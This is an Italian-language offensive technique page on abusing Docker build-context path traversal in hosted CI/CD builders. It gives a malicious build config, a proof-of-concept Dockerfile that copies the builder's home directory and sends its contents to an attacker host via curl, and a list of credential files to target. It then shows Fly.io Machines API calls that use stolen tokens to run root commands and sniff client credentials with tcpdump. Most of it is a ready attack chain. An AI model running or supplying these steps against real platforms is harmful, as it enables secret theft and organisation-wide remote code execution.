Abuso del Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)

Reading time: 5 minutes

TL;DR

Se una piattaforma CI/CD o un hosted builder permette ai contributori di specificare il percorso del Docker build context e il percorso del Dockerfile, spesso è possibile impostare il context su una directory padre (es., "..") e includere file dell'host nel build context. Un Dockerfile controllato dall'attaccante può quindi usare COPY per esfiltrare segreti presenti nella home dell'utente del builder (per esempio, ~/.docker/config.json). Token di registry rubati possono funzionare anche contro le control-plane APIs del provider, permettendo RCE a livello di organizzazione.

Attack surface

Molti hosted builder/registry services fanno più o meno questo quando costruiscono immagini inviate dagli utenti:

• Leggono una repo-level config che include:
• build context path (inviato al Docker daemon)
• Dockerfile path relativo a quel context
• Copiano la directory del build context indicata e il Dockerfile al Docker daemon
• Costruiscono l'immagine e la eseguono come servizio ospitato

Se la piattaforma non canonicalizza e non limita il build context, un utente può impostarlo su una posizione esterna al repository (path traversal), facendo sì che file arbitrari dell'host leggibili dall'utente di build diventino parte del build context e siano disponibili per COPY nel Dockerfile.

Vincoli pratici comunemente osservati:

• Il Dockerfile deve risiedere all'interno del percorso context scelto e il suo percorso deve essere noto in anticipo.
• L'utente di build deve avere permessi di lettura sui file inclusi nel context; file di device speciali possono interrompere la copia.

PoC: Path traversal via Docker build context

Example malicious server config declaring a Dockerfile within the parent directory context:

runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Note:

• L'utilizzo di ".." spesso risolve alla home dell'utente builder (es., /home/builder), che tipicamente contiene file sensibili.
• Posiziona il tuo Dockerfile sotto il nome della directory del repo (es., repo "test" → test/Dockerfile) in modo che rimanga all'interno del contesto genitore espanso.

PoC: Dockerfile per ingerire ed esfiltrare l'host context

FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Obiettivi comunemente recuperati da $HOME:

• ~/.docker/config.json (registry auths/tokens)
• Altre cache e configurazioni cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Suggerimento: Anche con un .dockerignore nel repository, la selezione del contesto vulnerabile lato piattaforma continua a governare ciò che viene inviato al daemon. Se la piattaforma copia il percorso scelto al daemon prima di valutare il .dockerignore del tuo repo, i file dell'host potrebbero comunque essere esposti.

Pivot verso il cloud con overprivileged tokens (esempio: Fly.io Machines API)

Alcune piattaforme rilasciano un unico bearer token utilizzabile sia per il container registry che per la control-plane API. Se esfiltri un registry token, provalo contro l'API del provider.

Esempio di chiamate API contro Fly.io Machines API usando il token rubato da ~/.docker/config.json:

Enumerare le app in un org:

curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Esegui un comando come root all'interno di qualsiasi macchina di un'app:

curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Outcome: esecuzione remota di codice a livello dell'organizzazione su tutte le app ospitate dove il token dispone di privilegi sufficienti.

Furto di segreti da servizi ospitati compromessi

Con exec/RCE su server ospitati, puoi raccogliere i segreti forniti dai client (API keys, tokens) o lanciare attacchi di prompt-injection. Esempio: installa tcpdump e cattura il traffico HTTP sulla porta 8080 per estrarre le credenziali in ingresso.

# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Le richieste catturate spesso contengono credenziali del client negli headers, nei bodies o nei query params.

Riferimenti

• Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
• Fly.io Machines API